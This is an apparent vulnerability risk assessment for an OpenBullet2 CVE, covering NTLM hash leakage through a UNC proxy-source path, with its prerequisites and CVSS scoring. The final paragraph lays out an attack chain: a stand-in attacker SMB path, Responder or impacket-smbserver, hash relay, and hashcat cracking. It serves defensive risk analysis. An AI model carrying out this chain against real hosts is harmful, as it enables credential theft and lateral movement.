OpenBullet2 CVE-2026-39908

Exploitation requires an authenticated user with permission to create or edit a job and set its proxy source field to an attacker-controlled UNC path (PR:L in CVSS). The OpenBullet2 host must run on Windows (the SMB/NTLM client behavior is Windows-specific) and must have outbound SMB (TCP/445 or TCP/139) reachability to the attacker's server - hosts behind an egress firewall blocking SMB cannot leak the hash. No victim user interaction beyond starting the job is needed (UI:N), and the value of the captured hash depends on the privileges and password strength of the account running OpenBullet2; a local low-privilege service account yields a low-value hash, while a domain-joined interactive user yields a directly relayable credential. The referenced HackerNoon auth-bypass, if applicable to the deployment, can satisfy the PR:L prerequisite without legitimate credentials.

CVSS 4.0 scores this 7.1 (AV:N/AC:L/PR:L/UI:N, VC:H only) - high confidentiality impact with no integrity/availability impact, low complexity, and low privileges required (a UI user able to configure a job). VulnCheck reports a public exploit, raising practical risk, though the CVE is not in CISA KEV and no EPSS score is provided in the input, suggesting opportunistic rather than mass exploitation. The real-world risk hinges on two factors not captured in CVSS: (1) OpenBullet2 typically runs on attacker- or researcher-controlled workstations rather than enterprise servers, limiting the value of the harvested hash, and (2) PR:L requires the attacker to already have UI/job-configuration access, which the linked HackerNoon article suggests can itself be bypassed via an auth-bypass - if chained, the effective privilege requirement drops toward PR:N. CVSS network vector is consistent with the description (attacker-controlled SMB server reached over the network).

An attacker with (or who has bypassed authentication to obtain) job-configuration access on an OpenBullet2 instance stands up Responder or impacket-smbserver on an internet-reachable host, then configures a new job's proxy source as \\attacker.tld\proxies\list.txt and starts the job. The Windows SMB client on the OpenBullet2 host initiates an NTLMv2 handshake against the attacker's server, leaking the running user's Net-NTLMv2 hash, which the attacker then relays to internal services or cracks offline with hashcat mode 5600. Publicly available exploit guidance exists via the referenced advisory and HackerNoon write-up.